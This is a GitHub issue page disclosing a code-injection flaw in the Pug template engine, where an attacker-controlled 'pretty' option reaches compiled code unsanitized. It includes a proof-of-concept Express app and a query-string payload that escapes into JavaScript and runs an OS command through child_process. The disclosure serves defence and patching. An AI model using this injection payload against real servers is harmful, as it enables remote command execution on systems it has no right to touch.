Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code injection vulnerability in visitMixin and visitMixinBlock through "pretty" option #3312

Closed
CykuTW opened this issue Feb 10, 2021 · 4 comments

Comments

@CykuTW
Copy link

@CykuTW CykuTW commented Feb 10, 2021

Hello,

I found that pug may allow an attacker to inject arbitrary javascript code if an attacker can control options.pretty.

Pug Version: 3.0.0

Proof of concept

Here is an vulnerable example including 2 files: app.js and index.pug.
In the example, there is only one variable "pretty" that is controlled by user, and the variable is not used in any dangerous functions.

app.js

const express = require('express')
const app = express()
app.set('view engine', 'pug')
app.get('/', function (req, res) {
    res.render('index', { pretty: req.query.p })
})
app.listen(5000)

views/index.pug

html
  head
  body
    mixin print(text)
      p= text

    +print('Hello, world')

But if we visit URL below, it would lead to execute OS command "whoami".

http://localhost:5000/?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('

Detail

This section will point the location of vulnerability and explain why I assume it's an issue.

First of all, when Compiler object is initialized, options.pretty would be saved in this.pp.

function Compiler(node, options) {
this.options = options = options || {};
this.node = node;
this.bufferedConcatenationCount = 0;
this.hasCompiledDoctype = false;
this.hasCompiledTag = false;
this.pp = options.pretty || false;

The visitMixinBlock function is simple, this.pp is pushed into this.buf array which stores the compiled code of template without any sanitization.

visitMixinBlock:

visitMixinBlock: function(block) {
if (this.pp)
this.buf.push(
"pug_indent.push('" + Array(this.indents + 1).join(this.pp) + "');"
);
this.buf.push('block && block();');
if (this.pp) this.buf.push('pug_indent.pop();');
},

The visitMixin is basically same as visitMixinBlock, this.pp is pushed without any sanitization at line 507.

visitMixin:

visitMixin: function(mixin) {
var name = 'pug_mixins[';
var args = mixin.args || '';
var block = mixin.block;
var attrs = mixin.attrs;
var attrsBlocks = this.attributeBlocks(mixin.attributeBlocks);
var pp = this.pp;
var dynamic = mixin.name[0] === '#';
var key = mixin.name;
if (dynamic) this.dynamicMixins = true;
name +=
(dynamic
? mixin.name.substr(2, mixin.name.length - 3)
: '"' + mixin.name + '"') + ']';
this.mixins[key] = this.mixins[key] || {used: false, instances: []};
if (mixin.call) {
this.mixins[key].used = true;
if (pp)
this.buf.push(
"pug_indent.push('" + Array(this.indents + 1).join(pp) + "');"
);

If we look at how other functions handle options variables, we can see that they are all sanitized by stringify.
( this.prettyIndent is implemented with this.buffer, and this.buffer always sanitizes variable with stringify. )

with this.prettyIndent:

this.prettyIndent(1, true);

with this.buffer:

if (this.doctype) this.buffer(this.doctype);

with stringify:

stringify(this.options.includeSources) +


The visitMixin and visitMixinBlock are the only two functions I found that are missing sanitization.
I think it may be an issue.

@ForbesLindesay
Copy link
Member

@ForbesLindesay ForbesLindesay commented Feb 28, 2021

I will release a fix as soon as possible. If you find any security vulnerabilities in the future, please follow the policy to report them: https://github.com/pugjs/pug/blob/master/SECURITY.md

Posting security vulnerabilities in public issue trackers can lead to very serious real world harm. Please do not do it.

@CykuTW
Copy link
Author

@CykuTW CykuTW commented Mar 1, 2021

Thank you. And sorry I didn't notice the policy file. This mistake won't happen again.

This was referenced Mar 3, 2021
jenglish added a commit to jenglish/ssptool that referenced this issue May 11, 2021
In response to github dependabot alert concerning pugjs/pug#3312.
ssptool was not susceptible but it's a good idea to upgrade anyway.

No incompatibilities found.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
4 participants